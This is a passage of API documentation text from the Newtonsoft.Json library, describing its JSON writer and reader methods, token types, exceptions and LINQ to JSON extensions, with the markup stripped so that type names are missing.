default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a 